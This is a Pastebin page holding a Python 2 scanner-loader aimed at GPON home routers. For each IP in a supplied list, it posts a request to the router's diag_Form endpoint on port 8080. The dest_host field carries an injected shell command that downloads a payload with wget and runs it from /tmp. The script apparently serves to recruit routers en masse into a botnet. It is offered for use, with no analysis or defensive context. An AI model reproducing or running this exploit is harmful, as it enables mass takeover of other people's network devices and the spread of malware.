Advertisement
mysql_Anarchy

[ PYTHON ] GPON | Fixed version

Jun 9th, 2018
626
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.95 KB | None | 0 0
  1. import sys, socket, time, os
  2. from Queue import *
  3. from multiprocessing.dummy import Pool as ThreadPool
  4. from multiprocessing import Process
  5. from threading import Thread
  6. from sys import stdout
  7.  
  8. if len(sys.argv) < 2:
  9.         print "Usage: python "+sys.argv[0]+" <list>"
  10.         sys.exit()
  11.  
  12. port = 8080
  13. buf = 4096
  14. count = 0
  15. queue = Queue()
  16. post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(wget+http://0.0.0.0/GPON+-O+->+/tmp/w;sh+/tmp/w)&ipv=0\r\n"
  17. headers = "POST /GponForm/diag_Form?script/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: Hello, World\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)
  18. i = 0
  19. ips = open(sys.argv[1], "r").readlines()
  20.  
  21. def gpwn(host):
  22.     global i
  23.     host = host.strip("\n")
  24.     try:
  25.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  26.         s.settimeout(5)
  27.         s.connect((host, port))
  28.         s.send(headers)
  29.         time.sleep(0.5)
  30.         print "\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m%s\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]" % (host)
  31.         resp = s.recv(buf).strip()
  32.         if "200 OK" in resp:
  33.             i += 1
  34.         s.close()
  35.     except:
  36.         pass
  37.  
  38. def load_to_queue():
  39.     global count
  40.     for line in ips:
  41.         count += 1
  42.         line = line.strip("\r\n")
  43.         sys.stdout.write("\r[%d] Added to queue" % (count))
  44.         sys.stdout.flush()
  45.         queue.put(line)
  46.     sys.stdout.write("\n")
  47.  
  48. def main():
  49.     load_to_queue()
  50.     i = 0
  51.     while i < count:
  52.         i += 1
  53.         try:
  54.             ip = queue.get()
  55.             f = Thread(target=gpwn, args=(ip,))
  56.             f.start()
  57.             queue.task_done()
  58.         except KeyboardInterrupt:
  59.             os.kill(os.getpid(),9)
  60.         except Exception as i:
  61.             print i
  62.             pass
  63. if __name__ == "__main__":
  64.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement